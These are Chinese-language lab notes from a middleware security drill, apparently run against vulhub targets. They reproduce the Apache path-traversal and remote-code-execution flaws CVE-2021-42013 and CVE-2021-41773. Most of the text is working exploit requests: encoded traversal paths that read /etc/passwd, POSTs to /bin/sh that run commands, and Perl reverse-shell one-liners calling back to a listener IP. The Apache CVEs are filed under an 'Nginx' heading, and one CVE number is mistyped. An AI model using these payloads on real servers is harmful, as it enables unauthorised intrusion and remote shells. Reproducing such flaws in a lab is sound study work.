服务攻防演练

中间件安全-环境准备

win11
ubuntu
vulhub

知识点

中间件-IIS-短文件&解析&蓝屏等

中间件-Nginx-文件解析&命令执行等

中间件-Apache-RCE&目录遍历&文件解析等

中间件-Tomcat-弱口令&文件上传&文件包含等

项目案例

IIS-短文件&解析&蓝屏等

已复现，不在写入

Nginx-文件解析&命令执行等

CVE-2021-42013 RCE

这是CVE-202141773的二版，在上次修复漏洞时，没有严格过滤，导致出现的二次CVE

启动服务，以前都操作过，不在细讲

win11访问

bp抓包，get发送payload，证明存在漏洞

GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

​

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh 

echo;id	

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh 
echo;perl -e 'use Socket;$i="192.168.109.1";$p=5577;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'

CVE-2021-41773 RCE

启动

POST /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

echo;id;

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

echo;perl -e 'use Socket;$i="192.168.109.1";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'